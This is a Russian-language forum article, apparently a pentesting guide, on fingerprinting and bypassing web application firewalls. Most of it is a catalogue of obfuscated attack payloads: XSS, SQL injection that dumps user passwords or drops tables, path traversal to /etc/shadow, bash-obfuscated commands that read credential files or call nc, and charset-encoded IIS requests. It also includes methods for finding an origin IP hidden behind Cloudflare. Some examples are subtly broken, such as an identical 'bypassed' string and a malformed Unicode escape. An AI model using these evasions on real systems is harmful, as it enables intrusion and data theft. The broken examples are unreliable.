Что нового

Article Обходим WAF (Web Application Firewall)

Vander 0

Vander

Команда форума
10.11.2019
487
1 125
WAF-720x340.jpg

Что такое WAF?

Брандмауэр веб-приложений (WAF) - это набор мониторов и фильтров, предназначенных для обнаружения и блокировки сетевых атак на веб-приложение. WAF относятся к прикладному уровню модели OSI.

Брандмауэр веб-приложений используется как средство безопасности. В режиме реального времени он решает, предоставить или запретить доступ.

Компании должны быть проинформированы о том, что WAF не является полноценным средством защиты информации. Обычно он включается в общую систему безопасности веб-приложения с другими элементами, такими как компоненты, которые решают проблемы протоколов, отличных от HTTP / HTTPS, систем контроля инцидентов и служб защиты от мошенничества.

При проведении тестирования на проникновение, прежде всего, мы определяем реальный IP-адрес, определяем поставщика WAF и пытаемся обойти WAF. После прорыва защиты начинается самое захватывающее. Все, что клиент хотел спрятать за WAF, дает возможность для дальнейшего тестирования на проникновение.

Сложно ли обойти такую защиту?

Шокирует то, что каждый второй сайт уязвим для этого метода и техники обхода. Поскольку поставщики WAF пытаются поддерживать статические списки регулярных выражений для запуска WAF, хакеры находят новые способы обхода этой защиты, маскируя полезные данные.

Замков, которые нельзя сломать ломом, практически нет. Таким образом, мы видим бесконечную игру в кошки-мышки, хакеров против WAF.

Зачем использовать WAF?
  • Глубокая защита
  • Обнаруживает и блокирует атаки на уязвимые веб-приложения
  • Защищает от множества уязвимостей
  • Защищает веб-среду компании
Популярные провайдеры WAF

img_5fcbc6c3ec52b.png

Как определить провайдера WAF и настоящий IP-адрес?

Определение реального IP сайта:
  • Используем shodan.io или censys.io
  • Найдите записи SPF и записи TXT
  • Записи SPF и TXT могут иметь IP-адрес точки входа без CloudFlare
  • Также можно проверить securitytrails.com в поле Historical данные могут показать оригинальный IP в старых записях
Как проверить правильность настройки WAF:
  • WAF используют стандартные порты 80, 443, 8000, 8008, 8080 и 8088
  • WAF устанавливают свои собственные файлы cookie в запросах
  • WAF ассоциируются с отдельными заголовками
  • WAF раскрываются в заголовке сервера
  • WAF раскрываются в содержимом ответа
  • WAF отвечают уникальными кодами ответа на злонамеренные запросы
  • Отправьте стандартный запрос GET из браузера, перехватите и запишите заголовки ответа (определенные файлы cookie)
  • Отправьте запрос из командной строки (например, cURL), а затем проверьте содержимое и заголовки ответа
  • Отправляйте запросы GET на случайные открытые порты и проверяйте баннеры, которые могут раскрыть провайдера WAF
  • Попробуйте некоторые полезные нагрузки в виде SQL-инъекций, например: ”or1 = 1 - чтобы попробовать логин
  • Попробуйте использовать полезные нагрузки XSS, такие как <script> confirm () </script>, в некоторых полях ввода
  • Попробуйте добавить ../../../etc/passwd к случайному параметру в URL-адресе
  • Добавьте некоторые полезные данные, такие как 'OR SLEEP (5) OR' в конце URL-адресов для любого случайного параметра
  • Отправляйте GET-запросы с устаревшими протоколами, такими как HTTP / 0.9 (HTTP / 0.9 не поддерживает запросы типа POST)
  • Проверяйте заголовок сервера при различных типах взаимодействий
  • Отправьте на сервер необработанный созданный пакет FIN & RST и определите ответ
  • Атаки по побочным каналам - изучите временное поведение содержимого запроса и ответа
Большинство хакеров используют автоматизированные инструменты для ускорения процессов обхода WAF на интересующих их ресурсах. Мы составили небольшой список инструментов, которые хакеры используют каждый день.

Использование этих инструментов - лишь первый шаг к проверке того, что открыто для хакеров.

Инструменты для проверки и обхода WAF:
  • w3af -фреймворк для аудита и атак на веб-приложения
  • wafw00f - фингерпринтинг и аутентификация WAF
  • BypassWAF - обход брандмауэров путем злоупотребления историей DNS. Этот инструмент будет искать старые записи DNS A и проверять, отвечает ли сервер для этого домена
  • CloudFail - это инструмент тактической разведки, который пытается найти исходный IP-адрес за Cloudflare WAF
Способы обхода WAF:

1. Техника переключения регистра

Комбинируйте символы верхнего и нижнего регистра для создания эффективных полезных нагрузок

Basic Request:

Код:
<ScrIpT>confirm()</sCRiPt>
Bypassed Technique:

Код:
<ScrIpT>confirm()</sCRiPt>
Basic Request:

Код:
SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'
Bypassed Technique:

Код:
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
Example in URL:

Код:
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4
2. Техника кодирования URL

Кодируйте обычные полезные данные с помощью % encoding/URL
Вы можете использовать Burp Suite. Он имеет встроенный инструмент кодировщика / декодера.

Blocked by WAF:

Код:
<Svg/x=">"/OnLoAD=confirm()//
Bypassed Technique:

Код:
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
Blocked by WAF:

Код:
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
Bypassed Technique:

Код:
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
Example in URL:

Код:
https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
3. Техника Юникода

Символы ASCII в кодировке Unicode дают нам отличные варианты обхода WAF. Кодируйте всю полезную нагрузку или ее часть для получения результатов.

Basic Request:

Код:
<marquee onstart=prompt()>
Obfuscated:

Код:
<marquee onstart=\u0070r\u06f\u006dpt()>
Blocked by WAF:

Код:
/?redir=http://google.com
Bypassed Technique:

Код:
/?redir=http://google。com (Unicode alternative)
Blocked by WAF:

Код:
<marquee loop=1 onfinish=alert()>x
Bypassed technique:

Код:
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
Basic Request:

Код:
../../etc/shadow
Obfuscated:

Код:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
4. Техника представления HTML

Веб-приложения кодируют специальные символы в HTML. Кодирование и рендеринг соответственно. Базовые случаи обхода с числовой и общей кодировкой HTML.

Basic Request:

Код:
"><img src=x onerror=confirm()>
Encoded Payload:

Код:
&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt;
Encoded Payload:

Код:
&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;
5. Техника смешанного кодирования

Такие правила часто имеют тенденцию отфильтровывать определенный тип кодирования. Такие фильтры можно обойти с помощью полезных данных смешанного кодирования. Новые строки и вкладки и дальнейшая обфускация.

Obfuscate Payload:

Код:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
6. Использование техники комментариев

Комментарии скрывают стандартные векторы полезной нагрузки. Различные полезные данные имеют разные способы обфускации.

Blocked by WAF:

Код:
<script>confirm()</script>
Bypassed Technique:

Код:
<!--><script>confirm/**/()/**/</script>
Blocked by WAF:

Код:
/?id=1+union+select+1,2--
Bypassed Technique:

Код:
/?id=1+un/**/ion+sel/**/ect+1,2--
Вставляйте комментарии в середину строк атаки. Например, / *! SELECT * / может игнорироваться WAF, но передаваться целевому приложению и обрабатываться базой данных mysql.

Example in URL:

Код:
index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
Example in URL:

Код:
index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
7. Метод двойного кодирования

Фильтры брандмауэра веб-приложений обычно кодируют символы для защиты веб-приложения. Плохо разработанные фильтры (без фильтров рекурсии) можно обойти с помощью двойного кодирования.

Basic Request:

Код:
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscate Payload:

Код:
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Basic Request:

Код:
<script>confirm()</script>
Obfuscate Payload:

Код:
%253Cscript%253Econfirm()%253C%252Fscript%253E
8. Техника обфускации подстановочных знаков

Глобальные шаблоны используются различными утилитами командной строки для работы с несколькими файлами. Мы можем изменить их для запуска системных команд.

Basic Request:

Код:
/bin/cat /etc/passwd
Obfuscate Payload:

Код:
/???/??t /???/??ss??
Used chars:

Код:
/ ? t s
Basic Request:

Код:
/bin/nc 127.0.0.1 443
Obfuscate Payload:

Код:
/???/n? 2130706433 443
Used chars:

Код:
/ ? n [0-9]
Техника создания динамической полезной нагрузки: Языки программирования имеют разные шаблоны и синтаксис для конкатенации.

Это позволяет нам создавать полезные данные, которые могут обходить многие фильтры и правила.

Basic Request:

Код:
<script>confirm()</script>
Obfuscate Payload:

Код:
<script>eval('con'+'fi'+'rm()')</script>
Basic Request:

Код:
/bin/cat /etc/shadow
Obfuscate Payload:

Код:
/bi'n'''/c''at' /e'tc'/sh''ad'ow
Bash допускает конкатенацию путей для выполнения.

Basic Request:

Код:
<iframe/onload='this["src"]="javascript:confirm()"';>
Obfuscate Payload:

Код:
<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>
9. Junk Characters Техника

Простые полезные данные легко фильтруются WAF. Добавление некоторых нежелательных символов помогает избежать обнаружения (только в определенных случаях).

Этот метод часто помогает запутать брандмауэры на основе регулярных выражений.

Basic Request:

Код:
<script>confirm()</script>
Obfuscate Payload:

Код:
<script>+-+-1-+-+confirm()</script>
Basic Request:

Код:
<BODY onload=confirm()>
Obfuscate Payload:

Код:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
Basic Request:

Код:
<a href=javascript;alert()>ClickMe
Bypassed Technique:

Код:
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
10. Техника разрывов строк

Многие WAF с фильтрацией на основе регулярных выражений эффективно блокируют множество попыток. Техника разрыва строки (CR и LF) может нарушить регулярное выражение брандмауэра и обойти его.

Basic Request:

Код:
<iframe src=javascript:confirm(hacker)">
Obfuscate Payload:

Код:
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
11. Техника неинициализированных переменных

Фильтры на основе неправильных регулярных выражений можно обойти использованием неинициализированных переменных bash. Такое значение равно нулю и действует как пустые строки.

Bash и Perl допускают такие интерпретации.

First Level Obfuscation: Normal
  • Basic Request:
    Код:
    /bin/cat /etc/shadow
  • Obfuscate Payload:
    Код:
    /bin/cat$u /etc/shadow$u
Second Level Obfuscation: Position Based
  • Basic Request:
    Код:
    /bin/cat /etc/shadow
  • Obfuscate Payload:
    Код:
    $u/bin$u/cat$u $u/etc$u/shadow$u
Third Level Obfuscation: Random characters
  • Basic Request:
    Код:
    /bin/cat /etc/passwd
  • Obfuscate Payload:
    Код:
    $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
12. Техника табуляции и перевода строки

Вкладки часто помогают обойти брандмауэры, особенно основанные на регулярных выражениях. Вкладки могут помочь сломать регулярное выражение WAF, когда регулярное выражение ожидает пробелы, а не табуляции.

Basic Request:

Код:
<IMG SRC="javascript:confirm();">
Bypassed Technique:

Код:
<IMG SRC=" javascript:confirm();">
Variant:

Код:
<IMG SRC=" jav ascri pt:confirm ();">
Basic Request:

Код:
http://test.com/test?id=1 union select 1,2,3
Bypassed Technique:

Код:
http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Basic Request:

Код:
<iframe src=javascript:confirm()></iframe>
Obfuscate Payload:

Код:
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m&Tab;%28&Tab;%29></iframe>
13. Token Breakers Техника

Атаки на токен - это попытка нарушить логику разделения запроса на токены с помощью средств защиты токенов. Взломщики токенов - это символы, позволяющие повлиять на соответствие между элементом строки и определенным токеном.
Наш запрос должен оставаться в силе при использовании взломщиков токенов.
Пример использования: неизвестный токен для токенизатора.

Our Payload:

Код:
?id=‘-sqlite_version() UNION SELECT passwords FROM users --
Пример: неизвестный контекст для синтаксического анализатора (обратите внимание на неконтекстную скобку)

First Payload:

Код:
?id=12);DROP TABLE users --
Second Payload:

Код:
?id=133) INTO OUTFILE ‘xxx’ --
14. Техника обфускации в других форматах

Многие веб-приложения поддерживают разные типы кодировки и могут интерпретировать кодировку. Нам всегда нужно обфускировать полезную нагрузку в формат, не поддерживаемый WAF, но сервер может переправить нашу полезную нагрузку.

Случай IIS:

IIS 6, 7.5, 8 и 10 допускают интерпретацию символов IBM037.

Отправьте закодированные параметры с запросом:

Original Request:

Код:
POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--
Obfuscated Request with URL Encoding:

Код:
POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99
Заключение

Подведем итог всему написанному выше:
  • Всегда мыслите нестандартно
  • Попробуйте разные методы кодирования, и некоторые из них будут работать
  • Не поленитесь проверить записи DNS, так как только тогда вы добьетесь успеха в поиске ошибок.
  • Не забывайте, что любую защиту можно обойти в веб-ресурсах и WAF не панацея от всех проблем
  • Хакеры не дремлют и всегда ищут новые методы атаки на ваши ресурсы и получения прибыли
Спасибо за внимание, материал подготовлен специально для protey.net
 
Верх Низ